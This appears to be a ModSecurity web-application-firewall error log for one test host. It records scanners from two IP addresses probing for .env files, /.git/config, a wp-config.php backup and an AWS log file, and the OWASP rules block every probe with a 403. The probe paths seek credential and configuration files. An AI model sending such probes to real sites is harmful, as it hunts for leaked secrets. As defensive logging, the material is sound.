[Sat Jul 12 13:53:19.825732 2025] [:error] [pid 1123160] [client 185.177.72.104:59808] [client 185.177.72.104] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/app/.env&quot;] [unique_id &quot;aHJMryPJPBKDl1q3ZLVAlQAAAAk&quot;]
[Sat Jul 12 13:53:19.883636 2025] [:error] [pid 1123160] [client 185.177.72.104:59808] [client 185.177.72.104] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.prod&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aHJMryPJPBKDl1q3ZLVAlwAAAAk&quot;]
[Sat Jul 12 13:53:19.883848 2025] [:error] [pid 1123160] [client 185.177.72.104:59808] [client 185.177.72.104] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aHJMryPJPBKDl1q3ZLVAlwAAAAk&quot;]
[Sat Jul 12 13:53:19.884003 2025] [:error] [pid 1123160] [client 185.177.72.104:59808] [client 185.177.72.104] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aHJMryPJPBKDl1q3ZLVAlwAAAAk&quot;]
[Sat Jul 12 13:53:19.972073 2025] [:error] [pid 1123160] [client 185.177.72.104:59808] [client 185.177.72.104] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /awsstats/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/awsstats/.env&quot;] [unique_id &quot;aHJMryPJPBKDl1q3ZLVAmgAAAAk&quot;]
[Sat Jul 12 13:53:19.972324 2025] [:error] [pid 1123160] [client 185.177.72.104:59808] [client 185.177.72.104] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/awsstats/.env&quot;] [unique_id &quot;aHJMryPJPBKDl1q3ZLVAmgAAAAk&quot;]
[Sat Jul 12 13:53:19.972519 2025] [:error] [pid 1123160] [client 185.177.72.104:59808] [client 185.177.72.104] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/awsstats/.env&quot;] [unique_id &quot;aHJMryPJPBKDl1q3ZLVAmgAAAAk&quot;]
[Sat Jul 12 13:53:20.001080 2025] [:error] [pid 1123160] [client 185.177.72.104:59808] [client 185.177.72.104] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak&quot;] [unique_id &quot;aHJMsCPJPBKDl1q3ZLVAmwAAAAk&quot;]
[Sat Jul 12 13:53:20.001234 2025] [:error] [pid 1123160] [client 185.177.72.104:59808] [client 185.177.72.104] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak&quot;] [unique_id &quot;aHJMsCPJPBKDl1q3ZLVAmwAAAAk&quot;]
[Sat Jul 12 13:53:20.001456 2025] [:error] [pid 1123160] [client 185.177.72.104:59808] [client 185.177.72.104] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak&quot;] [unique_id &quot;aHJMsCPJPBKDl1q3ZLVAmwAAAAk&quot;]
[Sat Jul 12 13:53:20.001623 2025] [:error] [pid 1123160] [client 185.177.72.104:59808] [client 185.177.72.104] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak&quot;] [unique_id &quot;aHJMsCPJPBKDl1q3ZLVAmwAAAAk&quot;]
[Sat Jul 12 13:53:20.030326 2025] [:error] [pid 1123160] [client 185.177.72.104:59808] [client 185.177.72.104] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aHJMsCPJPBKDl1q3ZLVAnAAAAAk&quot;]
[Sat Jul 12 13:53:20.030589 2025] [:error] [pid 1123160] [client 185.177.72.104:59808] [client 185.177.72.104] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aHJMsCPJPBKDl1q3ZLVAnAAAAAk&quot;]
[Sat Jul 12 13:53:20.030753 2025] [:error] [pid 1123160] [client 185.177.72.104:59808] [client 185.177.72.104] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aHJMsCPJPBKDl1q3ZLVAnAAAAAk&quot;]
[Sat Jul 12 13:53:20.119812 2025] [:error] [pid 1123160] [client 185.177.72.104:59808] [client 185.177.72.104] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /apps/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/.env&quot;] [unique_id &quot;aHJMsCPJPBKDl1q3ZLVAnwAAAAk&quot;]
[Sat Jul 12 13:53:20.120084 2025] [:error] [pid 1123160] [client 185.177.72.104:59808] [client 185.177.72.104] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/.env&quot;] [unique_id &quot;aHJMsCPJPBKDl1q3ZLVAnwAAAAk&quot;]
[Sat Jul 12 13:53:20.120282 2025] [:error] [pid 1123160] [client 185.177.72.104:59808] [client 185.177.72.104] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/.env&quot;] [unique_id &quot;aHJMsCPJPBKDl1q3ZLVAnwAAAAk&quot;]
[Sat Jul 12 13:53:20.185303 2025] [:error] [pid 1123160] [client 185.177.72.104:59808] [client 185.177.72.104] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/aws/ses.log&quot;] [unique_id &quot;aHJMsCPJPBKDl1q3ZLVAoQAAAAk&quot;]
[Sat Jul 12 13:53:20.185634 2025] [:error] [pid 1123160] [client 185.177.72.104:59808] [client 185.177.72.104] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/aws/ses.log&quot;] [unique_id &quot;aHJMsCPJPBKDl1q3ZLVAoQAAAAk&quot;]
[Sat Jul 12 13:53:20.185818 2025] [:error] [pid 1123160] [client 185.177.72.104:59808] [client 185.177.72.104] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/aws/ses.log&quot;] [unique_id &quot;aHJMsCPJPBKDl1q3ZLVAoQAAAAk&quot;]
[Sat Jul 12 13:53:20.214795 2025] [:error] [pid 1123160] [client 185.177.72.104:59808] [client 185.177.72.104] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /private/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private/.env&quot;] [unique_id &quot;aHJMsCPJPBKDl1q3ZLVAogAAAAk&quot;]
[Sat Jul 12 13:53:20.215030 2025] [:error] [pid 1123160] [client 185.177.72.104:59808] [client 185.177.72.104] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private/.env&quot;] [unique_id &quot;aHJMsCPJPBKDl1q3ZLVAogAAAAk&quot;]
[Sat Jul 12 13:53:20.215222 2025] [:error] [pid 1123160] [client 185.177.72.104:59808] [client 185.177.72.104] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private/.env&quot;] [unique_id &quot;aHJMsCPJPBKDl1q3ZLVAogAAAAk&quot;]
[Sat Jul 12 13:53:20.273933 2025] [:error] [pid 1123160] [client 185.177.72.104:59808] [client 185.177.72.104] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aHJMsCPJPBKDl1q3ZLVApAAAAAk&quot;]
[Sat Jul 12 13:53:20.274174 2025] [:error] [pid 1123160] [client 185.177.72.104:59808] [client 185.177.72.104] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aHJMsCPJPBKDl1q3ZLVApAAAAAk&quot;]
[Sat Jul 12 13:53:20.274386 2025] [:error] [pid 1123160] [client 185.177.72.104:59808] [client 185.177.72.104] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aHJMsCPJPBKDl1q3ZLVApAAAAAk&quot;]
[Sat Jul 12 18:54:30.488891 2025] [:error] [pid 1128199] [client 198.55.98.210:49284] [client 198.55.98.210] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aHKTRu0XANTvLAbMebLErwAAAAs&quot;]
[Sat Jul 12 18:54:30.489157 2025] [:error] [pid 1128199] [client 198.55.98.210:49284] [client 198.55.98.210] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aHKTRu0XANTvLAbMebLErwAAAAs&quot;]
[Sat Jul 12 18:54:30.489332 2025] [:error] [pid 1128199] [client 198.55.98.210:49284] [client 198.55.98.210] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aHKTRu0XANTvLAbMebLErwAAAAs&quot;]
[Sat Jul 12 19:21:19.143173 2025] [:error] [pid 1115431] [client 185.177.72.104:6146] [client 185.177.72.104] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aHKZj59SYBLWSo6Y5_UXKAAAAAA&quot;]
[Sat Jul 12 19:21:19.143467 2025] [:error] [pid 1115431] [client 185.177.72.104:6146] [client 185.177.72.104] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aHKZj59SYBLWSo6Y5_UXKAAAAAA&quot;]
[Sat Jul 12 19:21:19.143629 2025] [:error] [pid 1115431] [client 185.177.72.104:6146] [client 185.177.72.104] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aHKZj59SYBLWSo6Y5_UXKAAAAAA&quot;]
